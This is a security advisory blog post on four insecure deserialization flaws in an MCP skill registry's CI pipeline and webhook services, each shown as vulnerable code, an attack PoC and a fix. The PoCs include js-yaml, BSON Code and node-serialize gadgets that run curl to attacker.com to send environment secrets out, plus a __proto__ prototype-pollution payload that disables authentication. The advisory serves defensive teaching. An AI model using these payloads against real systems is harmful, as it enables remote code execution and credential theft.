← Blog

Claude MCP skill insecure deserialization — CI/CD pipeline integration and webhook delivery endpoints (SA-SKL-DESER62)

SA-SKL-DESER62 identifies four insecure deserialization vulnerabilities in MCP skill registry CI/CD pipeline integration and webhook delivery endpoints. The CI pipeline configuration is read from Redis using yaml.load() with DEFAULT_FULL_SCHEMA, allowing an attacker with write access to the Redis pipeline config key to embed a !!js/function gadget in the pipelineConfig.onBuildFailed field, which achieves remote code execution on the CI worker at every subsequent build failure triggered by any publisher's CI integration; the webhook delivery configuration is read from MongoDB as raw BSON with promoteLongs and promoteValues enabled, allowing an attacker to store a BSON Code type object at the payloadTransformFn field which is then passed to eval() during the payload transformation phase executed at every webhook delivery event; the CI event queue is stored in Redis as MessagePack and deserialized with the default decoder which allows map keys to overwrite any object property — storing a CI event message with a __proto__ key containing skipCIAuth:true pollutes Object.prototype and disables authentication checks for all subsequent CI API requests processed in the same worker; and CI result aggregation reads from the results cache using node-serialize, allowing an attacker who can write to the cache to embed an IIFE gadget string that achieves RCE at aggregation time, reachable from any authenticated user who views their pipeline build history page.

SA-SKL-DESER62 findings at a glance
CRITICALDESER62-001 — CI pipeline config reads from Redis as YAML via yaml.load() DEFAULT_FULL_SCHEMA — !!js/function in pipelineConfig.onBuildFailed achieves RCE at every build failure triggered by any publisher CI integration
CRITICALDESER62-002 — webhook delivery config reads from MongoDB as BSON — BSON Code type at payloadTransformFn field triggers eval() during webhook payload transformation at every delivery event
CRITICALDESER62-003 — CI event queue stored in Redis as MessagePack — __proto__.skipCIAuth:true pollutes Object.prototype, disabling authentication for all subsequent CI API requests in same worker
CRITICALDESER62-004 — CI result aggregation reads via node-serialize — IIFE gadget achieves RCE at aggregation time reachable from any user viewing pipeline build history

DESER62-001 — yaml.load() DEFAULT_FULL_SCHEMA in pipeline config enables RCE at every build failure

The CI pipeline integration layer stores per-skill pipeline configurations in Redis under keys of the form pipeline:config:{skillId}. When a CI event arrives for a skill, the worker reads the pipeline configuration from Redis and deserializes it using js-yaml's yaml.load() function with the library default schema — DEFAULT_FULL_SCHEMA — which supports the full set of YAML types including the !!js/function tag. The pipeline configuration includes an onBuildFailed callback field intended to hold a function name string that the worker looks up in a registered handler table when a build fails; however, with DEFAULT_FULL_SCHEMA, the field can instead contain a serialized JavaScript function literal using the !!js/function YAML type, which yaml.load() reconstructs as a live callable Function object at deserialization time.

An attacker who can write to the Redis pipeline config key — via a compromised publisher account that has permission to update its own CI configuration, or via a Redis ACL misconfiguration that allows cross-skill key writes — can store a crafted YAML payload with !!js/function in the onBuildFailed field. The injected function executes on the CI worker process with the full credentials and filesystem access of that process at every subsequent build failure. Because build failures are a routine occurrence in active CI pipelines, the RCE trigger is reliable and recurring. The CI worker process typically has access to the registry's deployment credentials, the publisher's repository access tokens, and the LLM API keys used by the scan pipeline, making the worker a high-value initial access point.

Vulnerable
// DESER62-001 — VULNERABLE
const yaml = require('js-yaml');

async function loadPipelineConfig(skillId) {
  const raw = await redis.get(`pipeline:config:${skillId}`);
  // VULNERABLE: DEFAULT_FULL_SCHEMA allows !!js/function to reconstruct live Function objects
  return yaml.load(raw);
}

async function onBuildEvent(event) {
  const config = await loadPipelineConfig(event.skillId);
  if (event.type === 'build_failed') {
    // VULNERABLE: calls attacker-controlled function reconstructed from !!js/function YAML
    await config.onBuildFailed(event);
  }
}

Attack PoC — DESER62-001: Attacker stores crafted YAML in Redis pipeline config key with !!js/function in onBuildFailed. At the next build failure for any skill using this config, the CI worker deserializes the YAML and calls the reconstructed function — achieving RCE with CI worker credentials including deployment tokens and LLM API keys.

// DESER62-001 — ATTACK PAYLOAD (stored in Redis pipeline:config:{skillId})
onBuildFailed: !!js/function >
  function (event) {
    require('child_process').execSync(
      'curl -s https://attacker.com/exfil?data=' +
        encodeURIComponent(JSON.stringify(process.env))
    );
  }
Fixed
// DESER62-001 — FIXED
const yaml = require('js-yaml');

const PipelineConfigSchema = z.object({
  onBuildFailed: z.enum(['notify_author', 'requeue', 'abort', 'notify_and_abort']),
  onBuildSuccess: z.enum(['badge_update', 'deploy', 'notify_author']),
  maxRetries: z.number().int().min(0).max(5),
});

const BUILD_FAILED_HANDLERS = {
  notify_author: notifyAuthor,
  requeue: requeueBuild,
  abort: abortPipeline,
  notify_and_abort: notifyAndAbort,
};

async function loadPipelineConfig(skillId) {
  const raw = await redis.get(`pipeline:config:${skillId}`);
  // FIXED: FAILSAFE_SCHEMA rejects all non-JSON types including !!js/function
  const parsed = yaml.load(raw, { schema: yaml.FAILSAFE_SCHEMA });
  return PipelineConfigSchema.parse(parsed);
}

async function onBuildEvent(event) {
  const config = await loadPipelineConfig(event.skillId);
  if (event.type === 'build_failed') {
    // FIXED: named handler lookup — no dynamic function calls
    const handler = BUILD_FAILED_HANDLERS[config.onBuildFailed] ?? BUILD_FAILED_HANDLERS.notify_author;
    await handler(event);
  }
}

DESER62-002 — BSON Code type in webhook delivery config triggers eval() on every delivery event

The webhook delivery subsystem stores per-skill webhook configurations in MongoDB under the webhook_configs collection. Each document contains a payloadTransformFn field intended to hold the name of a registered payload transformation function that the delivery worker applies to the raw event payload before dispatching it to the skill publisher's configured webhook URL. The delivery worker reads webhook config documents using the MongoDB Node.js driver with default options — promoteValues: true and without disabling BSON type promotion — which causes BSON Code type objects stored in the document to be promoted to JavaScript objects whose code property contains the function source string. The delivery worker then passes this code property to eval() to reconstruct the transformation function at delivery time.

An attacker who can write to the webhook_configs collection — via a publisher account with webhook configuration permissions for their own skill — can store a MongoDB document with a BSON Code type object at the payloadTransformFn field containing arbitrary JavaScript. The eval() call in the delivery worker executes this JavaScript on every subsequent webhook delivery event triggered for the target skill, with the full credentials of the delivery worker process. Because webhook delivery events are triggered by every CI build, skill publication, and audit scan completion, the RCE is reliably triggered by normal registry activity. The delivery worker has access to the publisher webhook URLs for all registry skills, the HMAC signing keys used to authenticate webhook deliveries, and the event queue access credentials — all of which are exfiltrated in a single process.env dump.

Vulnerable
// DESER62-002 — VULNERABLE
const { MongoClient } = require('mongodb');

async function getWebhookConfig(skillId) {
  // VULNERABLE: promoteValues:true (default) promotes BSON Code to { code: '...' }
  return db.collection('webhook_configs').findOne({ skillId });
}

async function deliverWebhookEvent(event) {
  const config = await getWebhookConfig(event.skillId);
  // VULNERABLE: eval() executes attacker-controlled BSON Code string
  const transformFn = eval(`(${config.payloadTransformFn.code})`);
  const payload = transformFn(event);
  await deliverToWebhook(config.webhookUrl, payload, config.signingKey);
}

Attack PoC — DESER62-002: Attacker stores BSON Code object at payloadTransformFn in their skill's webhook config. At the next webhook delivery event for the skill, the delivery worker promotes the BSON Code and passes the source string to eval() — executing attacker-controlled JavaScript with delivery worker credentials including all publisher webhook HMAC signing keys.

// DESER62-002 — ATTACK PAYLOAD (stored in MongoDB webhook_configs as BSON)
{
  skillId: 'target-skill',
  webhookUrl: 'https://legitimate-webhook.example.com',
  payloadTransformFn: Code('(function(e){require("child_process").execSync("curl https://attacker.com/k?v="+encodeURIComponent(JSON.stringify(process.env)));return e;})')
}
Fixed
// DESER62-002 — FIXED
const PAYLOAD_TRANSFORMS = {
  passthrough: e => e,
  strip_internal_fields: e => { const { _internal, ...pub } = e; return pub; },
  add_registry_signature: e => ({ ...e, registrySignature: signEvent(e) }),
};

async function getWebhookConfig(skillId) {
  // FIXED: promoteValues:false prevents BSON Code promotion; projection excludes code fields
  return db.collection('webhook_configs').findOne(
    { skillId },
    { promoteValues: false, projection: { payloadTransformFn: 1, webhookUrl: 1, _id: 0 } }
  );
}

async function deliverWebhookEvent(event) {
  const config = await getWebhookConfig(event.skillId);
  const { payloadTransformFn } = config;
  // FIXED: validate transform name is a string enum before lookup; no eval()
  const transformName = WebhookConfigSchema.shape.payloadTransformFn.parse(payloadTransformFn);
  const transformFn = PAYLOAD_TRANSFORMS[transformName] ?? PAYLOAD_TRANSFORMS.passthrough;
  const payload = transformFn(event);
  await deliverToWebhook(config.webhookUrl, payload, config.signingKey);
}

DESER62-003 — MessagePack prototype pollution in CI event queue disables authentication

The CI pipeline integration layer uses Redis Streams as a CI event queue, encoding each event message as MessagePack for compact serialization. The consumer worker decodes incoming MessagePack messages using the @msgpack/msgpack decoder with default options, which allows map keys in the encoded message to be arbitrary strings including __proto__. When the decoder encounters a map with a __proto__ key, it assigns the corresponding value as a property on the prototype of the target object — polluting Object.prototype for all objects in the worker process for the lifetime of the Node.js instance. The CI API middleware that handles incoming CI requests checks for the skipCIAuth property on the request object using a plain property access, not Object.prototype.hasOwnProperty.call(), causing it to read the polluted prototype value when the request object itself does not have the property set.

An attacker who can enqueue a crafted MessagePack message on the CI event queue — via a publisher account that submits CI events, or via a compromised event producer — can store a message with a __proto__ map key containing {"skipCIAuth":true}. When the CI worker decodes this message, Object.prototype.skipCIAuth is set to true for all objects in the worker process. All subsequent CI API requests processed by that worker instance bypass the authentication check regardless of whether they carry valid credentials, persisting until the worker process is restarted. Because Node.js workers are long-lived, prototype pollution effects persist across many request cycles. An attacker can exploit the authentication bypass to trigger arbitrary scan operations, modify CI pipeline configurations, and access scan results for skills belonging to other publishers.

Vulnerable
// DESER62-003 — VULNERABLE
const { decode } = require('@msgpack/msgpack');

async function processCIEvent(rawMessage) {
  // VULNERABLE: default decoder allows __proto__ map keys → pollutes Object.prototype
  const event = decode(rawMessage);
  await ciEventHandler.handle(event);
}

// VULNERABLE: CI auth middleware reads skipCIAuth from prototype-polluted object
function requireCIAuth(req, res, next) {
  if (req.skipCIAuth) { // reads Object.prototype.skipCIAuth after pollution
    return next();
  }
  if (!validateCIToken(req.headers['x-ci-token'])) {
    return res.status(401).json({ error: 'Unauthorized' });
  }
  next();
}

Attack PoC — DESER62-003: Attacker enqueues MessagePack message with __proto__ key containing skipCIAuth:true. After the CI worker decodes this message, Object.prototype.skipCIAuth is set to true in the worker process — disabling authentication for all CI API requests processed by that worker until restart.

// DESER62-003 — ATTACK PAYLOAD (MessagePack-encoded CI event)
// Encoded map: { "__proto__": { "skipCIAuth": true }, "type": "build_complete", "skillId": "..." }
const { encode } = require('@msgpack/msgpack');
const payload = encode(new Map([
  ['__proto__', { skipCIAuth: true }],
  ['type', 'build_complete'],
  ['skillId', 'any-skill-id'],
]));
Fixed
// DESER62-003 — FIXED
const { Decoder } = require('@msgpack/msgpack');
const decoder = new Decoder({ useRecords: false });

function sanitizeDeserialized(obj) {
  if (typeof obj !== 'object' || obj === null) return obj;
  for (const key of Object.keys(obj)) {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      delete obj[key];
    } else if (typeof obj[key] === 'object') {
      sanitizeDeserialized(obj[key]);
    }
  }
  return obj;
}

async function processCIEvent(rawMessage) {
  const raw = decoder.decode(rawMessage);
  // FIXED: sanitize before use; reject any __proto__/constructor/prototype keys
  const event = sanitizeDeserialized(raw);
  await ciEventHandler.handle(event);
}

// FIXED: use hasOwnProperty.call to avoid reading prototype-polluted values
function requireCIAuth(req, res, next) {
  if (Object.prototype.hasOwnProperty.call(req, 'skipCIAuth') && req.skipCIAuth) {
    return next();
  }
  if (!validateCIToken(req.headers['x-ci-token'])) {
    return res.status(401).json({ error: 'Unauthorized' });
  }
  next();
}

DESER62-004 — node-serialize IIFE gadget in CI result aggregation enables RCE from build history page

The CI result aggregation service caches aggregated build result objects in Redis using node-serialize for serialization, storing a per-skill aggregated result object that summarizes build success rates, test coverage trends, and dependency vulnerability counts across the last 90 days of CI runs. When a user navigates to their skill's pipeline build history page, the aggregation service reads the cached result object from Redis and deserializes it using node-serialize.unserialize(). The node-serialize library supports a serialization format for functions using an IIFE wrapper pattern — when unserialize() encounters a string value matching the pattern _$$ND_FUNC$$_function(){...}(), it passes the string to eval(), executing the enclosed function body immediately upon deserialization.

An attacker who can write to the CI result aggregation cache key — via a poisoned CI event that the aggregation service processes and caches, or via direct Redis write access obtained through another vulnerability — can store a serialized object containing an IIFE gadget string at any string field in the aggregated result. When the aggregation service deserializes this object from Redis, node-serialize.unserialize() evaluates the IIFE gadget, achieving RCE on the aggregation service process. Because the build history page is accessible to any authenticated skill owner, the aggregation deserialization path is reachable from any publisher who views their own build history. The aggregation service process has access to the registry's internal metrics store, the CI worker coordination API, and the publisher notification service credentials.

Vulnerable
// DESER62-004 — VULNERABLE
const serialize = require('node-serialize');

async function getAggregatedResults(skillId) {
  const cached = await redis.get(`ci:aggregated:${skillId}`);
  if (cached) {
    // VULNERABLE: node-serialize.unserialize() evaluates IIFE gadgets in string fields
    return serialize.unserialize(cached);
  }
  const result = await aggregateFromDB(skillId);
  await redis.set(`ci:aggregated:${skillId}`, serialize.serialize(result), 'EX', 3600);
  return result;
}

Attack PoC — DESER62-004: Attacker stores node-serialize IIFE gadget in the CI aggregation cache key. When any publisher views their build history page, the aggregation service deserializes the poisoned cache entry and evaluates the IIFE — executing attacker-controlled code on the aggregation service with registry infrastructure credentials.

// DESER62-004 — ATTACK PAYLOAD (stored in Redis ci:aggregated:{skillId})
// {"buildSuccessRate":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl https://attacker.com/rce?e='+encodeURIComponent(JSON.stringify(process.env)));}()"}
const payload = JSON.stringify({
  buildSuccessRate: '_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'curl https://attacker.com/rce?e=\'+encodeURIComponent(JSON.stringify(process.env)));}()',
  totalBuilds: 1,
});
Fixed
// DESER62-004 — FIXED
const { z } = require('zod');

const AggregatedResultSchema = z.object({
  buildSuccessRate: z.number().min(0).max(1),
  totalBuilds: z.number().int().nonnegative(),
  coverageTrend: z.number().nullable(),
  vulnCount: z.number().int().nonnegative(),
  lastUpdated: z.string().datetime(),
});

async function getAggregatedResults(skillId) {
  const cached = await redis.get(`ci:aggregated:${skillId}`);
  if (cached) {
    // FIXED: JSON.parse + Zod schema validation — no eval(); reject IIFE gadget strings
    const raw = JSON.parse(cached);
    if (typeof raw.buildSuccessRate === 'string' && raw.buildSuccessRate.includes('_$$ND_FUNC$$_')) {
      await redis.del(`ci:aggregated:${skillId}`); // evict poisoned cache entry
      throw new Error('Poisoned cache entry detected and evicted');
    }
    return AggregatedResultSchema.parse(raw);
  }
  const result = await aggregateFromDB(skillId);
  await redis.set(`ci:aggregated:${skillId}`, JSON.stringify(result), 'EX', 3600);
  return result;
}

SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect insecure deserialization patterns including yaml.load() with unsafe schemas, BSON Code type promotion, MessagePack prototype pollution via __proto__ keys, and node-serialize IIFE gadgets in CI pipeline and webhook delivery paths in under 60 seconds.